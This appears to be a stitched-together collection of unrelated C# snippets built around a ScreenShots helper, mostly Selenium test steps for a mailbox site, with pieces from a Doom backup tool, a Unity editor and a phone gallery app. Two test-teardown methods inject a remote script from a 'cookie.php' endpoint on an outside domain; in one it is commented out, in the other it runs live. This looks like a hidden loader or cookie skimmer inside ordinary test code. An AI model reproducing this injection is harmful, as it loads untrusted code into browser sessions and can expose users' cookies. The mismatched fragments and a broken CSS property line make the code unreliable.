public void WhenIMoveToTheFolderSent() { sentPage = new SentPage(driver); sentPage.ClickOnSentItem(); log.Debug("debug level"); ScreenShots.ScreenShot(); }
public void NavigateOnMailboxPage() { loginPage = new LoginPage(driver); OpenPage(); log.Debug("debug level"); ScreenShots.ScreenShot(); }
public void AfterEachTest() { if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null) { Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName); //Get information about error from Error page (Graylog ID) try { PageError pageError = new PageError(webDriver); if (webDriver.Url.Contains(pageError.ExpectedUrl)) { Log.Error(pageError.LblErrorText.Text); } } catch (Exception) { } //Take snapshot ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name); } //Logging the test execution timeTest.Stop(); Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed); //((IJavaScriptExecutor)webDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)"); //webDriver.Manage().Cookies.DeleteAllCookies(); //Thread.Sleep(3000); webDriver?.Quit(); drivers?.TryRemove(Thread.CurrentThread.ManagedThreadId, out IWebDriver d); }
public void WhenIOutOfMailbox() { mainPage = new InboxPage(driver); mainPage.LogOut(); log.Info("logouted of mailbox"); ScreenShots.ScreenShot(); }
public void WhenIGoToCreatedAMailbox() { loginPage = new LoginPage(driver); loginPage.Login(Utils.username, Utils.password); log.Info("logged in as " + Utils.username); ScreenShots.ScreenShot(); }
public void WhenIMoveToTheFolder() { draftsPage = new DraftsPage(driver); draftsPage.ClickOnDraftsItem(); log.Debug("debug level"); ScreenShots.ScreenShot(); }
public void WhenIOpenLetter() { draftsPage.ClickOnDraftsItem(); draftsPage.LetterOpenInDraftsFolder(); log.Info("open letter"); ScreenShots.ScreenShot(); }
public static void HighlightElement(IWebElement element) { IJavaScriptExecutor js = ((IJavaScriptExecutor)driver); String bgcolor = element.GetCssValue("background-color"); js.ExecuteScript("arguments[0].style.compose__labels.background-color = '" + "red" + "'", element); ScreenShots.ScreenShot(); js.ExecuteScript("arguments[0].style.compose__labels.background-color = '" + bgcolor + "'", element); }
public void WhenISendLetter() { draftsPage.ClickOnDraftsItem(); draftsPage.LetterOpenInDraftsFolder(); draftsPage.ClickOnSentItem(); log.Info("send letter"); log.Debug("debug level"); ScreenShots.ScreenShot(); }
public void WhenICreateANewMessageWithDataDestinationTopicAndDataContent(string namesender, string themeLetter, string messageUser) { mainPage = new InboxPage(driver); mainPage.ClickOnCreateNewMessageButton(); createInboxPage = new InboxPage(driver); createInboxPage.CreateNewMessage(namesender, themeLetter, messageUser); log.Info("create a new message"); ScreenShots.ScreenShot(); }
public bool HasTitleBar() { IntPtr processPtr = GetProcessPtr(); if (processPtr == IntPtr.Zero) { return(false); } return(ScreenShots.HasTitlebar(processPtr)); }
public Rectangle?GetClientBounds() { IntPtr processPtr = GetProcessPtr(); if (processPtr == IntPtr.Zero) { return(null); } return(ScreenShots.GetClientBounds(processPtr)); }
public bool?IsWindowFocused() { IntPtr processPtr = GetProcessPtr(); if (processPtr == IntPtr.Zero) { return(null); } return(ScreenShots.IsWindowFocused(processPtr)); }
public void CreateNewMessage(string namesender, string themeLetter, string messageUser) { whom.SendKeys(namesender); TestEmailSteps.HighlightElement(whom2); ScreenShots.ScreenShot(); theme.SendKeys(themeLetter); GoToFrameSendKeys(messageUser); driver.SwitchTo().DefaultContent(); driver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(3)); dropdown.Click(); saveDraft.Click(); }
private void AddScreenShot(Bitmap screenshot) { Contract.Requires(screenshot != null); var shot = Container.GetExportedValue<ISSScreenShotViewModel>(); if (shot.IsNotNull()) { shot.Header = ScreenshotName; shot.SetScreenShot(screenshot); ScreenShots.Add(shot); SelectedScreenShot = shot; } }
void HandleComponentScreenshot(Rect content, Editor editor) { if (ScreenShots.s_TakeComponentScreenshot) { content.yMin -= 16; if (content.Contains(Event.current.mousePosition)) { Rect globalComponentRect = GUIClip.Unclip(content); globalComponentRect.position = globalComponentRect.position + inspectorWindow.parent.screenPosition.position; ScreenShots.ScreenShotComponent(globalComponentRect, editor.target); } } }
public void AfterEachTest() { if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null) { Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName); //Take snapshot ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", ".")); } //Logging the test execution timeTest.Stop(); Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed); webDriver.Manage().Cookies.DeleteAllCookies(); System.Threading.Thread.Sleep(10000); }
private void CheckBoxScreenShotOnCheckedChanged(object sender, EventArgs e) { _screenshot = _slot.checkBoxScreenShot.Checked; _backupManager.Screenshot = _screenshot; SetAutoBackupMessage(); if (_screenshot) { var doomPtr = BackupManager.GetDoomPtr(); if (!ScreenShots.HasTitlebar(doomPtr)) { Message("Screenshot only works if Doom is set to Windowed Mode", "Warning!", MessageType.Error, MessageMode.User); } } }
public void AfterEachTest() { if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null) { Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName); //Take snapshot ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", ".")); //webDriver.SaveScreenshot(TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + // DateTime.Now.ToLongTimeString().Replace(":", ".") + "_Browser.jpg"); } //Logging the test execution timeTest.Stop(); Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed); ((IJavaScriptExecutor)ngWebDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)"); ngWebDriver.Manage().Cookies.DeleteAllCookies(); Thread.Sleep(3000); }
public void GetScreenShots() { try { PictureAlbumCollection allAlbums = _mediaLibrary.RootPictureAlbum.Albums; ScreenShots.Clear(); foreach (var album in allAlbums) { if (album.Name.ToUpper().Contains("SCREENSHOT")) { PictureCollection screenShots = album.Pictures; foreach (var picture in screenShots) { Stream picToDisplay = picture.GetImage(); BitmapImage bmImage = new BitmapImage(); bmImage.SetSource(picToDisplay); var imageToShow = new Image { Source = PictureDecoder.DecodeJpeg(picToDisplay, picture.Width, picture.Height) }; ScreenShots.Add(new ScreenShot(picture.Name, new Uri(MediaLibraryExtensions.GetPath(picture), UriKind.Absolute), imageToShow)); } } } if (ScreenShots.Count() >= 1) { SelectedScreenShot = ScreenShots[ScreenShots.Count - 1]; } else { NoScreenShotVisibility = Visibility.Visible; } } catch (Exception ex) { } }
static public void AssertScreenShot(IWebDriver webDriver, string expScr, double tolerance) { tolerance = (tolerance < 0) ? 0 : tolerance; tolerance = (tolerance > 100) ? 100 : tolerance; try { var actualScr = ScreenShots.GetScreenshotAllPage(webDriver, 500); //actualScr.Save("C:\\Users\\e.kovalenko\\FxPro.Direct\\UITestDirect2\\Resources\\ExpectedScreenShots\\en\\_1.jpg"); var difImg = Math.Round(ImageCompare.PercentDifferenceImages(new Bitmap(expScr), actualScr), 4); Assert.IsTrue(difImg <= tolerance, "Difference Images = " + difImg + "%. Tolerance = " + tolerance + "%"); } catch (ArgumentException e) { Log.Warn("There aren't screenshots for the current language."); } }
public BaseTest() { _screenShots = new ScreenShots(); }
public int TitleBarHeight() { return(ScreenShots.GetTitleBarHeight()); }
public void WhenIMoveToTheListOfMessagesInTheFolder() { draftsPage.ClickOnDraftsItem(); ScreenShots.ScreenShot(); }